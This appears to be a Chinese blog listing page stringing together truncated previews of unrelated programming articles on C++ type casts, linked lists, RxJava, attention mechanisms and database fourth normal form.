📝个人主页🌹:Eternity._ ⏩收录专栏⏪:C++ “ 登神长阶 ” 🤡往期回顾🤡:C++ 智能指针 🌹🌹期待您的关注 🌹🌹 ❀C++的类型转换 📒1. C语言中的类型转换📚2. C++强制类型转换⛰️static_cast🌞reinterpret_cast⭐const_cast🍁dynamic_cast 📜3. C++强制类型转换的原因📝

深入手撕链表

链表 分类概念单链表增尾插头插插入 删尾删头删删除 查完整实现带头不带头 双向链表初始化增尾插头插插入 删查完整代码 数组 分类 #mermaid-svg-qKD178fTiiaYeKjl {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-

深入理解RxJava:响应式编程的现代方式

在当今的软件开发世界中,异步编程和事件驱动的架构变得越来越重要。RxJava,作为响应式编程(Reactive Programming)的一个流行库,为Java和Android开发者提供了一种强大的方式来处理异步任务和事件流。本文将深入探讨RxJava的核心概念、优势以及如何在实际项目中应用它。 文章目录 💯 什么是RxJava?💯 响应式编程的优势💯 RxJava的核心概念

如何通俗理解注意力机制?

1、注意力机制(Attention Mechanism)是机器学习和深度学习中一种模拟人类注意力的方法,用于提高模型在处理大量信息时的效率和效果。通俗地理解,它就像是在一堆信息中找到最重要的部分,把注意力集中在这些关键点上,从而更好地完成任务。以下是几个简单的比喻来帮助理解注意力机制: 2、寻找重点:想象一下,你在阅读一篇文章的时候,有些段落特别重要,你会特别注意这些段落,反复阅读,而对其他部分

深入理解数据库的 4NF:多值依赖与消除数据异常

在数据库设计中, "范式" 是一个常常被提到的重要概念。许多初学者在学习数据库设计时,经常听到第一范式(1NF)、第二范式(2NF)、第三范式(3NF)以及 BCNF(Boyce-Codd范式)。这些范式都旨在通过消除数据冗余和异常来优化数据库结构。然而,当我们谈到 4NF(第四范式)时,事情变得更加复杂。本文将带你深入了解 多值依赖 和 4NF,帮助你在数据库设计中消除更高级别的异常。 什么是